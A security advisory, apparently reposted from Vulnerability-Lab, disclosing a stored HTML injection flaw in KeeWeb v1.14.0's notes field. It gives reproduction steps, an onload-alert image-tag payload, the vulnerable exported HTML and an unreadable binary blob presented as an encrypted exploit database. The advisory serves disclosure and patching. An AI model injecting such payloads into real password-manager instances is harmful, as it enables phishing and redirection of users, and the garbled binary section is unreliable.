Share 
## https://sploitus.com/exploit?id=PACKETSTORM:157595
Document Title:  
===============  
KeeWeb v1.14.0 - (Notes) Html Inject Web Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2237  
  
  
Release Date:  
=============  
2020-05-06  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2237  
  
  
Common Vulnerability Scoring System:  
====================================  
4.2  
  
  
Vulnerability Class:  
====================  
Script Code Injection  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
Free cross-platform password manager compatible with KeePass. Web  
version has almost all features available in desktop apps.  
It doesn't require any installation and works in all modern browsers.  
Desktop apps look beautiful on each platform: macOS,  
Windows and Linux. You can open local files in Desktop apps.  
  
(Copy of the Homepage: https://keeweb.info/ & https://app.keeweb.info/)  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a html  
injection web vulnerability in the KeeWeb v1.14.0 online service  
web-application.  
  
  
Affected Product(s):  
====================  
KeeWeb  
Product: KeeWeb v1.14.0 - Online Service (Web-Application)  
Product: KeeWeb v1.14.0 x64 - Windows Desktop Client (Software)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-05-06: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Medium User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A html injection web vulnerability has been discovered in the official  
KeeWeb v1.14.0 online service web-application.  
The vulnerability allows remote attackers to inject own malicious html  
codes with persistent attack vector to compromise browser  
to web-application requests from the application-side.  
  
The html inject web vulnerability is located in the notes input field of  
the new entry add module. Local privileged accounts are able  
to compromise the stored database entries by inject of simple html code.  
After the inject the execution points of the issue are located  
in the New Entry or on export as HTML5 file. The execute occurs in both  
cases on review in the vulnerable marked fields of the input.  
The request method to inject is POST and the attack vector is located on  
the application-side. The issue is a classic html injection.  
There is already a poc exploit in the wild available with the expected  
client database format to import after the export.  
  
Successful exploitation of the web vulnerability results in persistent  
phishing attacks, persistent external redirects to malicious  
source and persistent manipulation of affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] New  
  
Vulnerable Parameter(s):  
[+] Notes  
  
Affected Module(s):  
[+] New entries on preview  
[+] Export as HTML5 file  
  
  
Proof of Concept (PoC):  
=======================  
The html inject web vulnerability can be exploited by remote attackers  
with privileged user account or via medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Open the KeeWeb application  
2. Add a new Database  
3. Include a new entry  
4. Inject to the Notes input field your html payload with external request  
5. Save the entry and export the kdbx or as html5  
Note: The execution of the html code occurs on preview of the entry or  
open of the html file  
6. Successful reproduce of the vulnerability!  
  
  
PoC: Payload  
<img%20src="https://www.evolution-sec.com/evosec-logo.png"%20onload=alert(document.domain)>  
  
  
PoC: Vulnerable Source (Export HTML5)  
<td>Notes</td><td>  
<div class="markdown"><blockquote>  
<p><img%20src="https://www.evolution-sec.com/evosec-logo.png"%20onload=alert(document.domain)></p>  
</blockquote>  
</div></td></tr>  
<tr><td>New Field</td>  
  
  
PoC: Exploit (kdbx - aes encrypted) (passwd:test)  
Ù¢šgûKµ 1Áòæ¿qCP¾X!jüZÿ   
ód嵡üª­_7uŽŸaHÞ3j2¨sfòKÙî  
A¶C½3âÀ¥éWí>P9-C5sÍj™P‚yå à“ nhÉOTÇQMÜ3Ñë.  
T[1øGæT.ŸíÔ·Y  
FÓjh·‡Õ'Ê,®}&èo nyü¢.½üõ2=§Ô® @:¸æZEJ]Ö,<RÄh  
Э  
TìJ§«kA0¥5Zš¥Y©y뉝*ÊÃÃÚeÝþ™;w  
¹ˆeÙóäÞ…©‡BGö†g/ìNnoyy­…èî5±2H  
ìsh©?bÖ.ÿøqfž6‰#qåæÿ;“›Ì…=³sýG¶õ~n÷Ê͸  
¿Ø,@@™«9àíÈEqþô«Ö‚èSn's5Gt"QÎÊ¢XžíXZ‚˜µN-  
©©›¥í`4W«õŽâÞÄè(XžÓG­Ä{¨àšÆð¨Žklð  
>Ó ¬¯ct«’l"ŠãMga.OkðvéÉ4?]ÚJ&ƒèðµ¶t!U|kM -ÎÕã+  
©ˆczŒ[pݪœ²õ€Aiµ¦ÎojÎoåðLè©ì¹°ÍùšÏ/‘g¤Ò  
ZÖÖDít½¦4¬´óŽåG冖®¢Ë¥°ëœßójj¬cW2¹* ³µ± ¯¿3fÒ#  
s(?«…]Sö°ïKÜ¥2ð1˜ˆK{^ÛíQÁŒ  
¹ëK5%õQ,Dô7¡Øwa-Qš–æ.ÌÏ Eó,] 4mnýì–¥¦89³âÁn첚ÄmÔã<""þh^]ü  
’ΤC gaLœ®ä+.úíæE`î  
íEö  
àY(&h’ã³užÞ:šjŽ@á&£w×Ubb~çìrM:tŽ£úŠµœ­¨®®íç&ÜHºÑ(©AÓÜÞ^Ó²ïaÅâƒÉÒŸÆjȯUÆuiS‰ª½1²2‚®Lñéæ6ìàºâM&$ÂO•iP¨~4-  
ÚÄfezt©ñ@Ú´Ÿi¨5%ý”ԏè&²zh%¥h*8±R‘¶3±ì¥6OŸF<ÂŒWNÚ¸oúìÿo:1½«·Gˆ¡¶ÏåoèžyÛ40p÷ê9«Ú_‹GÖiYä—¨=H$Qxw‹EV©Ëq7×›[öBLõ(Ìñ±ívoQ­°âHÀÚæ^5&SP  
W0&:ìRjæÍmΓ„ÿ¨Œ6aå²·ìtiÍxÚQèHV¿*l¦_éëΆé1ûÁ  
êö›s…j@W¨z ñ#ŠX/2ã¬Êj  
A·‰¥=ç›¼GË5œEéƒïÔxs  
ûÎÒŸc5yÔpm%ä}4TFbø³rk7`„ÇepÍ‚<ÍTÒŸÚ<ˆ|¼÷vÉã×@s0ùC6xíz>‘—G  
4Ò¸R0#|€K¹Ï‚®NMot¯@GØ]ª’ßëÙˆðé8š2.F@ç½ú$-ÏsÀaŸÉpÍã ˆ$՛Š 
;sPÀŠü1&z}£1Ý;昒QuœÃ™½-*†°ÑÌ»AP͘:ÍÁ³%¤ Ž2«Vî~|–bds9.  
ºR*k­.îrÿã»<|Ðx_±jÃvyù¢êoì¶ugF·u'Š£Cr‹F+dt ËtÃÒM} ”­°jÚbå¼ìjY‰¿˜¤cšb  
Ë#Gõ2$W¸t;äz傼ñžì?'ør·n’öÍ7æªÚ-‹Ë÷(‡¢x…ÖG¬’랇ärAF=;-Ï<Áô.Sî(aWìé|Y®ÖPb@ô.Q©_•‡×?Aq˜ŒUÒ  
s‡¯L<Ò2–æ&õ€œ't×ì6X9þ  
š&%TÜJ‘s=a"—‰c{r?QdiÒwîk@Ô¸}õzV{œ@’±wüù¸Ù´C‡oQR.49#‹YïÓæùD”ñ58Ú  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be resolved by an encode of the vulnerable output  
parameters in the html5 files on export.  
In a second step the input fields of the notes and others needs to be  
restricted to disallow script code injects  
The notes parameter needs to be escaped to ensure the injection point is  
resolved.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties,  
either expressed or implied, including the warranties of merchantability  
and capability for a particular purpose. Vulnerability-Lab  
or its suppliers are not liable in any case of damage, including direct,  
indirect, incidental, consequential loss of business profits  
or special damages, even if Vulnerability-Lab or its suppliers have been  
advised of the possibility of such damages. Some states do  
not allow the exclusion or limitation of liability for consequential or  
incidental damages so the foregoing limitation may not apply.  
We do not approve or encourage anybody to break any licenses, policies,  
deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com www.vuln-lab.com   
www.vulnerability-db.com  
Services: magazine.vulnerability-lab.com  
paste.vulnerability-db.com infosec.vulnerability-db.com  
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab   
youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php  
vulnerability-lab.com/rss/rss_upcoming.php  
vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php  
vulnerability-lab.com/register.php  
vulnerability-lab.com/list-of-bug-bounty-programs.php  
  
Any modified copy or reproduction, including partially usages, of this  
file requires authorization from Vulnerability Laboratory.  
Permission to electronically redistribute this alert in its unmodified  
form is granted. All other rights, including the use of other  
media, are reserved by Vulnerability-Lab Research Team or its suppliers.  
All pictures, texts, advisories, source code, videos and other  
information on this website is trademark of vulnerability-lab team & the  
specific authors or managers. To record, list, modify, use or  
edit our material contact (admin@ or research@) to get a ask permission.  
  
Copyright © 2020 | Vulnerability Laboratory - [Evolution  
Security GmbH]™  
  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com